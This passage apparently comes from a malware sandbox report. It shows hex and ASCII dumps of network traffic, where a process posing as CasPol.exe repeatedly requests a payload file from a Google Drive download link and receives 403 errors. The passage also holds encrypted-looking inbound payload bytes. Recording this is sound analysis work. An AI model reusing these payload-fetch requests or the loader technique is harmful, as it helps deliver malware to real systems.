4d 76 3a f8 22 a4 0c 1f a3 e7 35 49 16 0c ce 95 7b 53 5b 4f a4 39 79 77 b8 59 e0 Data Ascii: uSE]k7(1OamXn(TQ/^9:2(wpK:OlFMd=J3;_i\B,E[_C^[f:mhv>tHxMSai=[e XKPB3IQM-tKeoJ8[#8Jn@Mv:"5I{S[O9ywY
2022-04-20 13:31:40 UTC	227	IN	Data Raw: e9 5f 04 69 28 0d 30 ac e4 e7 0b 46 62 00 2b 92 44 f4 40 69 13 2d 2e b0 78 5b b2 78 be be 47 c2 c4 8b bd 20 ae 29 be eb 83 bc 50 f6 b2 76 10 01 7f 55 d1 1f dc cb 55 20 9e 23 a8 b8 e7 d9 72 da 7f 00 3f 8e 52 35 fd 21 43 b4 ed 6c 32 82 48 8d 0f 0b 34 ad 82 e0 84 96 e0 a5 a2 ff 66 41 ea c9 be 91 b8 d4 c7 44 28 7c fa 22 e6 74 53 3a 94 d7 60 17 c7 1b be 4b 52 85 2f 93 c6 fd 5f 2a 0f 6b 7a bd f6 6b a3 71 b3 62 e4 ba de 2f 99 3a aa 03 7f 0c 0f a1 54 5b 23 79 a8 4b b3 03 1b 4e 4a ea 2a 1f 5f b7 f8 03 d3 45 75 d7 3d 5e 3b fc a5 26 91 8e d3 4f 0f 35 e2 04 42 7d c0 25 3a 5a 4e 36 52 a3 be 02 1a f6 cf 7e 32 15 51 05 21 c8 ed f5 a7 8c 9f c2 35 2c 33 fe fd c7 f2 11 73 a3 d1 4c 1d ce a9 77 5a 97 79 85 74 6a 73 26 e7 0c e5 17 56 5f e5 65 60 3d 48 09 32 a7 46 a0 de cb 57 Data Ascii: _i(0Fb+D@i-.x[xG )PvUU #r?R5!Cl2H4fAD(\|"tS:`KR/_kzkqb/:T[#yKNJ_Eu=^;&O5B}%:ZN6R~2Q!5,3sLwZytjs&V_e`=H2FW
2022-04-20 13:31:40 UTC	228	IN	Data Raw: 59 fa ab 97 1c 7a 63 3a 97 3d a0 0a 0c 99 e1 24 19 17 06 cc a3 5e 55 4a 2a 96 0e 58 61 ab 46 c6 1f 2f e9 a5 c1 79 0f ab 44 fe c9 5c 08 71 2f 92 a0 f4 5f 1f 26 93 f9 a4 05 07 0a 21 9e 59 ad 66 6c f7 65 26 e6 da 53 ad 95 0d 65 7c cc 0d ae f6 c7 24 39 44 12 dc 5c 75 22 3b b1 15 15 7d 2b f0 ad 80 8b d0 55 e9 8c 9e bc 46 4d bf 31 19 8f a9 ce 70 c3 46 0b 2a 18 45 9a 0b 70 74 7a e1 ec 17 ce 06 61 81 b3 e5 0c 0d 3f 53 23 79 6e 58 a4 58 8b d2 4f 24 16 e7 80 f6 05 d5 bf 6e c9 a5 0b 5d bc eb f5 8d ae b3 9c 4b 5a ea 81 1b 34 df c3 c5 63 a2 50 dd 66 04 19 1f 25 cb f0 15 e8 c6 bc 39 0c 42 51 ab 58 2a 56 ef e8 7e a2 cb 17 b6 fb 75 93 b2 9f 91 91 05 87 c4 49 55 ce 13 c4 48 6a d9 3c 5a d3 92 b2 d2 e3 6f b7 03 da 82 12 e3 b7 2e c4 aa 9f 3a 90 d2 5a ba c6 d5 92 5e 9f 6f 92 Data Ascii: Yzc:=$^UJXaF/yD\q/_&!Yfle&Se\|$9D\u";}+UFM1pFEptza?S#ynXXO$n]KZ4cPf%9BQX*V~uIUHj<Zo.:Z^o
2022-04-20 13:31:40 UTC	230	IN	Data Raw: 4c 2b d2 af 59 4c ee 3e 93 65 5c 55 15 f7 16 81 3d 52 58 ce 56 73 1a 58 15 41 e4 4f bd aa f9 51 48 54 93 fc 8e 94 1e 06 2d 55 3d 5e 75 75 51 0e 6e 2b b5 7a 5b 2d 1d 41 76 1b 12 bc 79 62 d8 20 88 1a f8 69 20 32 bd ed 7f 03 02 0c 2d 43 93 e9 fb 54 a9 f9 fb d8 06 9e f8 4b 71 98 2c 6d 91 06 60 91 f4 93 51 ac dd 24 3e 81 5e 85 b8 bc 10 18 3a 53 2d c5 7c 60 a6 e9 92 bc 7b e2 4a b5 a6 50 c0 5b 17 eb 89 58 7a 5a 17 94 79 8e 51 39 db ac 72 11 b3 2c ee f8 84 3a 42 66 b7 38 fd 02 b1 18 e4 02 86 41 b6 ef e1 ec 73 72 1e 4a 1e 98 85 0a a9 ff 6f 2f 1f c1 0a c2 bb 55 9e 46 57 ba b4 81 03 5c 7d f8 73 cb 3a e9 66 7f 16 76 2e 4e 6c 28 e9 97 70 8d f9 93 89 ac 93 c4 9c 30 63 e7 6f c9 ec c6 3e 03 5a fd d1 e6 50 3c a9 f5 0f ab de 91 d4 f5 d1 d6 91 9e c9 97 0f 8d 58 fa 57 85 71 Data Ascii: L+YL>e\U=RXVsXAOQHT-U=^uuQn+z[-Avyb i 2-CTKq,m`Q$>^:S-\|`{JP[XzZyQ9r,:Bf8AsrJo/UFW\}s:fv.Nl(p0co>ZP<XWq
2022-04-20 13:31:40 UTC	231	IN	Data Raw: 8a c8 8f bc f3 df 9f 84 00 cd 1f 9d c3 64 8d c2 43 bb 47 3b 49 ea d6 22 d7 b7 94 f8 3d eb 0c ea 07 11 a6 50 e5 51 e6 e4 2b c7 fc 32 2b 35 d6 73 a0 80 8b 92 59 aa ab 73 b2 07 f2 9f 5a 9f 24 a3 30 76 0d 4a 6b df 1b 85 85 7b 48 14 e5 9e d0 1a 83 2f 19 64 df 8b dc 3d 29 af 38 c8 cb 26 ae a1 c0 dd 50 c0 59 c3 05 3b d1 38 a2 e5 16 70 e8 c7 2a ba 7f ba d9 92 98 eb 6b d4 c6 02 77 73 8d 90 7d 40 5f 28 4f 8f c4 d1 c6 b2 82 5e ea 2a ee 69 19 fa 05 ee 8c e9 f1 a1 51 06 92 11 b3 e2 87 fb e5 fe b0 25 ee 4c 16 b4 4b 9e 00 a0 db c7 a0 80 7b 80 77 d0 09 35 f6 44 e5 e6 bb 3b 4d 5f 1a 35 de 91 1d f0 14 dd 71 a3 c2 ad 61 e4 c9 37 57 09 e8 a0 c5 35 a9 4e 18 29 05 cf 7e fe ee 3f 8c d9 7e 2c 42 4d 7b ae 43 06 b3 5b 9f a6 86 db 48 f7 e9 27 ef 61 30 a1 e2 e0 52 f6 19 22 1f 2a 59 Data Ascii: dCG;I"=PQ+2+5sYsZ$0vJk{H/d=)8&PY;8pkws}@_(O^iQ%LK{w5D;M_5qa7W5N)~?~,BM{C[H'a0R"*Y
2022-04-20 13:31:40 UTC	232	IN	Data Raw: 9e b8 a3 5a 68 35 95 a1 98 50 58 c2 9c 55 e0 b7 e4 95 97 b6 bf ed 9d 9e f0 2e ed 30 8e 29 d5 4c 8e 64 4e 91 01 b3 dc 45 16 02 b6 aa 25 36 33 40 20 39 0a 0b 63 59 e6 7f 49 b7 59 13 48 27 79 38 ce dc fd 38 3a 0f 5c e2 6c c8 6c e9 57 8d 58 11 76 e3 51 f4 19 36 28 5d 66 e7 03 0b c8 2c ab 79 1a 8c f1 c1 06 7f ab 22 83 b7 0b 47 11 48 fb c6 8e 4d 0d 45 e7 a7 fa e2 48 63 41 ed 5d cc 83 f1 a6 21 4b 80 ba 38 c8 15 a3 08 2d 81 73 d9 9e ac 4f 58 38 11 8f 2c 1b 4c 48 b4 4c 76 1c 57 be c7 f5 cc a6 2e e8 89 e8 df 3d 29 c3 76 55 e1 d4 a3 23 82 33 75 dc 3d 15 fb 7f 1d 11 b7 b8 86 7e 91 69 1c f0 c2 e7 73 70 43 1e e7 f5 1a 4c d5 34 fe ca 0e 61 65 9f e0 9c 53 b8 cc 09 e5 d2 0d 3c 95 9c ac ca 8d d2 e3 0a 3d 8f eb 6f 35 88 a6 a3 21 cf 39 b8 0c 74 18 4c 48 bb 85 57 84 af da 51 Data Ascii: Zh5PXU.0)LdNE%63@ 9cYIYH'y88:\llWXvQ6(]f,y"GHMEHcA]!K8-sOX8,LHLvW.=)vU#3u=~ispCL4aeS<=o5!9tLHWQ
2022-04-20 13:31:40 UTC	233	IN	Data Raw: 59 64 49 ce 8b 61 a2 4b 24 ae 54 03 52 94 ca 4d f4 fb a5 2b 72 24 30 a3 27 6f fa 1e 10 6a 25 4c 1b d7 d9 52 17 90 2a e0 3e 40 32 79 40 83 83 8b 65 18 f6 a2 4e 2b 54 99 83 8c 87 f7 b0 cc 82 3c 5e a5 5d ff 38 15 87 e2 05 28 08 58 88 75 e2 77 30 29 b8 21 81 94 35 4c 43 a5 32 a7 ce 85 3d 31 20 df 8c e5 14 81 44 4d 58 4f 24 32 0a 4d 73 68 4a ef 9f c3 2c 4d 76 03 77 73 48 dc 06 b9 20 ff 55 80 20 56 4b b0 bf 18 66 7b 6d 35 24 f8 22 43 2c bb eb 8a df 64 fa fd 1f 0f e2 50 0c dc 29 3a fd 99 e1 24 d8 ac 4f 90 13 31 f9 cf c2 62 7a 40 37 5d ac 18 65 e6 89 e6 f8 1e 82 20 c5 f2 38 af 2e 22 97 fd 3a 0a 3d 66 e8 6b 69 e5 50 81 ea 0b 70 c9 4d 9a 89 cb 53 2b 2f da 48 f7 44 c3 71 9a 76 f3 3f 4f 3e bd 87 02 77 5c 27 6c fe e4 4c e6 8d 17 25 72 aa 79 94 f2 3f e2 35 bb 07 d6 f2 Data Ascii: YdIaK$TRM+r$0'oj%LR*>@2y@eN+T<^]8(Xuw0)!5LC2=1 DMXO$2MshJ,MvwsH U VKf{m5$"C,dP):$O1bz@7]e 8.":=fkiPpMS+/HDqv?O>w\'lL%ry?5
2022-04-20 13:31:40 UTC	235	IN	Data Raw: f9 9d a2 c5 d8 c7 6c df 10 88 f5 7a 26 08 7b a6 2e c0 37 b6 15 7e 1b 42 40 b1 8e 4a 96 2f 30 5f 76 4a 0a dc 23 50 2e 81 ce 2e cd b8 75 cc 9d 0d e7 5c 0a 90 c7 60 ed 94 34 b0 42 77 a4 3a 4a 99 5a ae 5b f2 dc 9f 87 13 43 ea 83 ff 64 8d c7 53 2b ca ea 5a f4 da 12 d9 ba 93 ed 33 fa 1f f2 13 13 8a 5a f7 57 e0 e9 29 cf e5 af f6 2c ea 6f ac 86 84 b2 5c ac ab 78 bd 0f e7 13 81 94 2a af 3e 7e 04 40 79 5c dc 9f 03 75 56 0b 75 42 c8 10 81 2d 05 7e 58 5a db 01 3a 33 30 c8 c4 26 af bc dc 52 5b d6 db 01 8b fc 91 3e d6 e4 43 62 38 1e 18 bd 4b af e5 12 74 ea 45 c1 d2 85 a8 60 1e 1c 7d 57 de 20 48 1f 49 35 ef a0 11 d7 fe 27 c0 7c 03 7f f0 ef 90 61 54 b4 f1 df 92 0d 3a e4 80 df e3 f9 23 74 0b 4b 17 34 ff 83 04 32 b8 1b b3 13 f1 57 7c f2 06 3a fe 58 62 1b bb 28 dc 8e 10 35 Data Ascii: lz&{.7~B@J/0_vJ#P..u\`4Bw:JZ[CdS+Z3ZW),o\x*>~@y\uVuB-~XZ:30&R[>Cb8KtE`}W HI5'\|aT:#tK42W\|:Xb(5
2022-04-20 13:31:40 UTC	236	IN	Data Raw: 10 83 f0 0d ce ee b1 02 e2 79 5b 24 64 e9 6e 94 c7 9d 96 c3 70 ae 5e 9d fa 28 6a fa 3a f8 5c 14 7b 15 1f 98 0a 94 df 59 08 1f ef 9a 68 3b 0b 54 98 fa 17 e3 84 e4 6a 31 f2 a4 65 d9 01 87 1e 84 3e 4f 48 ea c1 81 be 9a 58 46 c9 89 4d ed aa f0 35 77 b9 b0 68 72 9f c2 6c f3 b1 67 20 99 19 e0 1c 17 5b 9e bb d4 4f 05 0b 33 4c 26 36 f3 a4 21 11 0a 08 a3 b4 eb 55 5b ee 43 96 95 27 6a aa 62 ca d2 32 29 03 4a 91 63 42 6b 62 ea 80 51 0b e7 76 a5 f9 02 33 21 45 e1 7c 03 13 cd 30 a6 63 27 87 d2 cb 1f 73 ae 03 9a a0 06 48 1e 56 f4 ca 9e 5f 68 5d e7 b8 e8 66 49 6f 54 ef 51 d0 0f 6b a8 41 43 e9 bd 0e d9 a4 62 27 23 9f 72 d0 87 ab 5a 55 2c 0e 87 24 04 57 52 ad 5f 76 1c 57 aa df ee c6 ac 3c 9c 89 d4 d8 13 20 d6 77 77 f0 dd a3 3a bf 36 7a 42 05 0f e6 62 01 1c 28 94 81 7d 9e Data Ascii: y[$dnp^(j:\{Yh;Tj1e>OHXFM5whrlg [O3L&6!U[C'jb2)JcBkbQv3!E\|0c'sHV_h]fIoTQkACb'#rZU,$WR_vW< ww:6zBb(}
2022-04-20 13:31:40 UTC	237	IN	Data Raw: eb f9 20 c5 01 5f 70 bc 51 0a 19 32 4f ce af 0f 7b 9b 79 da 3c 3c f2 5f f2 46 67 3b 4c de 11 1b d0 86 0a 50 c9 c1 70 22 d7 b7 62 eb 47 d0 50 9b c9 73 d6 a7 89 48 18 28 ac c8 ee 76 01 23 9b 4a 03 20 c7 84 7b ae 4d 3b bc 41 02 41 95 d4 52 fd fd 87 2b 6e b5 11 6c 25 6f f8 01 0c 05 2c 4a 29 54 d3 52 e2 8a a4 05 2f 49 3a 76 c5 60 93 19 0c fd f9 d2 5b 2f 7a 95 87 83 b6 75 13 45 fb 39 7f b4 c1 1c 27 8b 3b e0 00 3a 8b 5a b6 78 fd 65 21 ab 67 32 13 d0 35 62 5d b2 32 53 03 99 2a a7 2f c4 85 e5 15 3c 57 2a 24 43 24 32 0a a0 69 0e 2a ec 9e 42 3f 2a 0a 0a 6c 6c da bc 0f b9 21 f2 7d 87 02 44 59 3c 52 14 33 6c 66 4c 23 68 47 9c 23 bb 1e 8a d6 6f e9 ed 0a 88 36 59 1a 7d 20 26 e6 17 3b 22 d7 28 55 02 43 a4 f2 d5 c6 71 71 5a b3 55 a3 0b 6e e9 82 e8 e4 06 95 a8 c8 c0 b8 a6 Data Ascii: _pQ2O{y<<_Fg;LPp"bGPsH(v#J {M;AAR+nl%o,J)TR/I:v`[/zuE9';:Zxe!g25b]2S/<W$C$2iB?ll!}DY<R3lfL#hG#o6Y} &;"(UCqqZUn
2022-04-20 13:31:40 UTC	238	IN	Data Raw: 50 8d e0 d1 23 8c e1 37 60 74 10 2b 8e 7d bd de 00 c5 37 64 d3 55 8a bf 60 1f cc 74 5c cb 32 da 43 45 22 46 a8 1f 4a eb 38 e6 6e 8a 72 d6 f2 8c ef ea a1 a4 ce 82 83 d3 eb 80 d3 f8 e5 b3 24 07 4e 0f b5 4d af 16 2b 2f d4 32 dc 72 94 f6 da 12 29 6b 97 e1 d4 3b 32 50 4d 99 b4 d0 81 98 71 06 41 6a be da b8 12 fe 54 d0 69 1c 7b 68 d6 a7 f5 47 18 29 05 cf 7d fe d2 3f 8c d9 7e 33 df 82 68 ae 4b 28 a0 c8 17 52 86 ca 41 fd f5 af 37 72 28 b3 6a 3c 41 f0 16 05 19 25 4a 38 c7 ae 48 6d 8a ae 0d 33 4f 37 4b 42 91 94 8b 65 28 ea b5 c7 24 7a 95 9c 94 16 a8 00 d4 23 37 51 b9 d3 1c 34 99 36 ee 1d 26 17 5c 8a 77 ed 78 21 aa b2 21 74 59 35 71 42 af 28 e5 d9 83 2d 34 a7 05 98 e5 15 54 50 4d ac 90 2b 2e 99 29 6f 0e df 5f 02 21 30 51 0c 19 61 7f cb 35 09 a3 5a e7 7b 93 a3 4d 45 Data Ascii: P#7`t+}7dU`t\2CE"FJ8nr$NM+/2r)k;2PMqAjTi{hG)}?~3hK(RA7r(j<A%J8Hm3O7KBe($z#7Q46&\wx!!tY5qB(-4TPM+.)o_!0Qa5Z{ME
2022-04-20 13:31:40 UTC	239	IN	Data Raw: 69 2b 8a 95 af 83 e9 08 48 fb da 01 57 70 5e f5 26 41 68 74 7f c9 43 44 c2 1e 04 b5 2b 44 a8 bc 26 cb 15 cb 1b 25 a9 75 c3 88 2e ee 75 37 1d 9a 3e 99 96 4e a3 c3 7c 01 4d 36 1f f3 dc 29 34 93 91 c6 d3 3d 2f c5 60 f4 e8 d4 a5 34 d7 2e 64 56 05 1d df 79 11 15 27 11 54 78 8a e6 1c f8 d5 65 b6 69 59 8d 6f 12 06 37 cd 3a f1 c0 87 8c 77 1f e6 9b 45 31 25 09 d0 e2 0c 39 cc 8d 2a 05 dc c4 6f 02 28 9d 6f b2 35 9a 27 af 38 c0 2b 38 a9 78 17 51 4d ad 01 5e 8c bd 59 f6 6a c3 82 dc 36 5b 3b 8a d4 46 cb b8 78 d9 96 10 fe d7 eb 93 db ea e2 93 a7 39 b1 f4 a3 32 6d 9e 46 33 b7 e3 58 46 9b 04 d1 76 82 e9 44 8d cb 54 b8 47 27 55 ea cf 0c ca a4 84 ef bd 37 03 f9 0c 1c 88 4f e5 57 f5 ef 23 da e3 af e4 39 fe 72 ae 9b 9c 12 85 a5 b8 71 b2 0e fe 9f 5c 8c 29 a5 3e 7e 04 43 7f 5f Data Ascii: i+HWp^&AhtCD+D&%u.u7>N\|M6)4=/`4.dVy'TxeiYo7:wE1%9*o(o5'8+8xQM^Yj6[;Fx92mF3XFvDTG'U7OW#9rq\)>~C_
2022-04-20 13:31:40 UTC	241	IN	Data Raw: 81 44 4a 3d ce e3 3e 16 2f 6e 3c 5e ff 0a 30 ad 82 03 11 73 e1 01 3f 09 a5 70 fd 61 94 30 c5 96 bc ba 14 6c 65 6d db 8c e2 aa 96 25 b4 91 8a d0 69 e9 f0 10 06 e3 50 1d ed ab fa f6 99 e8 25 d0 bb dd cd c3 29 f0 dd da ff a2 49 27 4c 2e cc 62 ef 82 e0 f9 02 95 ab 41 dc 3a 8e 3c 53 9f ea 3c 16 39 66 f3 79 ee 21 5c 07 24 14 7b cf 4f 9d 8a c3 49 ad 06 d2 61 f9 52 c1 69 95 63 fe 2f c1 c7 a0 97 18 f2 81 27 64 ea 6d 80 c4 81 18 25 7f a2 63 98 f2 3f e4 2f 33 e2 d7 ff 76 3b 0c 19 f6 83 57 99 0c 05 67 71 6e 21 0c 54 98 e0 41 ec 8c f5 f7 dd ee 35 28 38 0c 85 18 8b bb b1 db 87 21 90 a4 93 4d 5e d1 84 4d ed a2 e4 a8 93 a5 a7 f5 9b 85 e7 73 e4 2c 8b 26 97 6b cc 1e 01 c6 72 ae d9 5a 15 07 b6 b0 22 36 74 4f 39 3c 17 1c 3e 59 fc 78 49 7b a5 04 cb f7 6a 5f 80 ce ff 2f 31 1b Data Ascii: DJ=>/n<^0s?pa0lem%iP%)I'L.bA:<S<9fy!\${OIaRic/'dm%c?/3v;Wgqn!TA5(8!M^Ms,&krZ"6tO9<>YxI{j_/1
2022-04-20 13:31:40 UTC	242	IN	Data Raw: e8 d1 2b e9 ed 82 ea 1f f6 42 ae a0 8e a2 58 a4 b6 11 b5 21 f6 90 54 d8 2a c3 36 02 0c 2e 79 2d de e3 82 19 46 69 65 11 cd 75 86 42 19 13 5f 5a d9 4f 28 d4 3d 95 ce 4d ac f9 ce 86 56 a5 5b 93 85 a5 d9 6b 82 a6 17 35 68 6d 37 c5 7a c7 cb 65 45 9c 65 91 d4 f1 aa 38 9f 7a 75 28 de 6b 5a f4 44 67 c7 d5 03 02 f7 48 e8 3e 0b 32 d8 9f 82 98 e4 d7 d1 f5 93 66 32 92 8e be e5 eb a1 8d 0f 4f 05 b5 43 c7 11 45 3a a1 b2 60 73 ea 77 91 07 54 eb 3a e0 bf ba 48 5e 36 19 72 de fb 18 a4 14 c0 62 83 df aa 67 82 49 f8 42 1a 68 32 c4 55 28 2f 0a cf 0d b3 6f 10 0f 5f 9e 34 76 7b c2 e5 66 cc 45 43 b2 27 1f 2e 88 ba 4f 96 fb a7 2a 2e 35 d6 62 72 4f 93 1c 5b 1e 7e 44 59 d5 99 40 28 82 ff 0d 70 47 63 64 36 89 f9 99 8d f5 9c a7 30 2c 24 9b fa 86 dc 75 6a c6 d8 3f 14 b7 b7 12 7e 97 Data Ascii: +BX!T6.y-FieuB_ZO(=MV[k5hm7zeEe8zu(kZDgH>2f2OCE:`swT:H^6rbgIBh2U(/o_4v{fEC'.O.5brO[~DY@(pGcd60,$uj?~
2022-04-20 13:31:40 UTC	243	IN	Data Raw: dc 47 10 1a b3 ad 27 24 73 48 24 39 0a 19 23 5c e1 7d 5b fb 51 16 48 26 78 2a 8e ce fa 32 34 06 4e 97 71 c1 7e 69 ca 84 50 19 64 63 b8 fc 1f 36 29 4f e6 7a 0b 0e c8 2d a3 6b 2f 8f d1 c1 1e 7b ab 23 9b bd 03 40 14 46 f5 c8 80 5f 78 43 e7 a6 e8 60 69 6d 49 ea 59 de 03 18 a8 29 43 88 bd 3b d9 95 62 15 23 89 75 de 9a ae 47 50 30 12 8f 2c 19 4b 4f b1 42 74 14 5f b6 c2 f2 ce a8 3c 9d 8c c8 dd 33 21 cb 72 75 e0 da ab 26 a2 33 67 5e 18 13 fb 7e 1c 00 35 91 89 79 98 67 14 ed c7 e5 6b 68 4b 0c 67 1c 08 39 d1 34 ff d2 06 65 65 9e ee 95 57 b0 cc 1b a5 d1 0b 2e d9 9f aa d8 dd d6 ee 0a 3d 8f ef 6f 34 88 a6 a7 20 ce 39 b8 08 70 19 4c 48 bf 80 56 84 af d9 57 78 42 02 d2 2b 5e 33 82 c6 33 c3 a5 76 d1 9e 18 f6 dc eb 91 c9 68 eb 81 25 30 a3 76 aa 3c 6a 98 48 2e b2 f1 da bf Data Ascii: G'$sH$9#\}[QH&x*24Nq~iPdc6)Oz-k/{#@F_xC`imIY)C;b#uGP0,KOBt_<3!ru&3g^~5ygkhKg94eeW.=o4 9pLHVWxB+^33vh%0v<jH.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
2	192.168.11.20	49756	142.250.186.174	443	C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe

Timestamp	kBytes transferred	Direction	Data
2022-04-20 13:29:32 UTC	3	OUT	GET /uc?export=download&id=1p1TrvkFKYHzlCDSRi8V2K0EcN7S0sk7E HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko Host: drive.google.com Cache-Control: no-cache
2022-04-20 13:29:41 UTC	3	IN	HTTP/1.1 403 Forbidden Content-Length: 1103 Content-Type: text/html; charset=UTF-8 Date: Wed, 20 Apr 2022 13:29:41 GMT Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; ma=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43" Connection: close
2022-04-20 13:29:41 UTC	3	IN	Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 2f 3e 3c 74 69 74 6c 65 3e 53 6f 72 72 79 2e 2e 2e 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 20 62 6f 64 79 20 7b 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 76 65 72 64 61 6e 61 2c 20 61 72 69 61 6c 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 20 63 6f 6c 6f 72 3a 20 23 30 30 30 3b 20 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 64 69 76 3e 3c 74 61 62 6c 65 3e 3c 74 72 3e 3c 74 64 3e 3c 62 3e 3c 66 6f 6e 74 20 66 61 63 65 3d 73 61 6e Data Ascii: <html><head><meta http-equiv="content-type" content="text/html; charset=utf-8"/><title>Sorry...</title><style> body { font-family: verdana, arial, sans-serif; background-color: #fff; color: #000; }</style></head><body><div><table><tr><td><b><font face=san
2022-04-20 13:29:41 UTC	4	IN	Data Raw: 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 20 62 6f 72 64 65 72 2d 74 6f 70 3a 20 31 70 78 20 73 6f 6c 69 64 20 23 64 66 64 66 64 66 3b 22 3e 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 22 3e 47 6f 6f 67 6c 65 20 48 6f 6d 65 3c 2f 61 3e 3c 2f 64 69 76 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: -align: center; border-top: 1px solid #dfdfdf;"><a href="https://www.google.com">Google Home</a></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
3	192.168.11.20	49762	142.250.186.174	443	C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe

Timestamp	kBytes transferred	Direction	Data
2022-04-20 13:29:41 UTC	4	OUT	GET /uc?export=download&id=1p1TrvkFKYHzlCDSRi8V2K0EcN7S0sk7E HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko Host: drive.google.com Cache-Control: no-cache
2022-04-20 13:29:51 UTC	4	IN	HTTP/1.1 403 Forbidden Content-Length: 1103 Content-Type: text/html; charset=UTF-8 Date: Wed, 20 Apr 2022 13:29:51 GMT Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; ma=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43" Connection: close
2022-04-20 13:29:51 UTC	5	IN	Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 2f 3e 3c 74 69 74 6c 65 3e 53 6f 72 72 79 2e 2e 2e 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 20 62 6f 64 79 20 7b 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 76 65 72 64 61 6e 61 2c 20 61 72 69 61 6c 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 20 63 6f 6c 6f 72 3a 20 23 30 30 30 3b 20 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 64 69 76 3e 3c 74 61 62 6c 65 3e 3c 74 72 3e 3c 74 64 3e 3c 62 3e 3c 66 6f 6e 74 20 66 61 63 65 3d 73 61 6e Data Ascii: <html><head><meta http-equiv="content-type" content="text/html; charset=utf-8"/><title>Sorry...</title><style> body { font-family: verdana, arial, sans-serif; background-color: #fff; color: #000; }</style></head><body><div><table><tr><td><b><font face=san
2022-04-20 13:29:51 UTC	6	IN	Data Raw: 2d 61 6c 69 67 6e 3a 20 63 65 6e 74 65 72 3b 20 62 6f 72 64 65 72 2d 74 6f 70 3a 20 31 70 78 20 73 6f 6c 69 64 20 23 64 66 64 66 64 66 3b 22 3e 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 77 77 77 2e 67 6f 6f 67 6c 65 2e 63 6f 6d 22 3e 47 6f 6f 67 6c 65 20 48 6f 6d 65 3c 2f 61 3e 3c 2f 64 69 76 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e Data Ascii: -align: center; border-top: 1px solid #dfdfdf;"><a href="https://www.google.com">Google Home</a></div></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
4	192.168.11.20	49764	142.250.186.174	443	C:\Windows\Microsoft.NET\Framework\v4.0.30319\CasPol.exe

Timestamp	kBytes transferred	Direction	Data
2022-04-20 13:29:51 UTC	6	OUT	GET /uc?export=download&id=1p1TrvkFKYHzlCDSRi8V2K0EcN7S0sk7E HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko Host: drive.google.com Cache-Control: no-cache
2022-04-20 13:29:56 UTC	6	IN	HTTP/1.1 403 Forbidden Content-Length: 1103 Content-Type: text/html; charset=UTF-8 Date: Wed, 20 Apr 2022 13:29:56 GMT Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000,h3-Q050=":443"; ma=2592000,h3-Q046=":443"; ma=2592000,h3-Q043=":443"; ma=2592000,quic=":443"; ma=2592000; v="46,43" Connection: close
2022-04-20 13:29:56 UTC	6	IN	Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 63 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 2f 3e 3c 74 69 74 6c 65 3e 53 6f 72 72 79 2e 2e 2e 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 3e 20 62 6f 64 79 20 7b 20 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 20 76 65 72 64 61 6e 61 2c 20 61 72 69 61 6c 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 20 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 20 23 66 66 66 3b 20 63 6f 6c 6f 72 3a 20 23 30 30 30 3b 20 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 64 69 76 3e 3c 74 61 62 6c 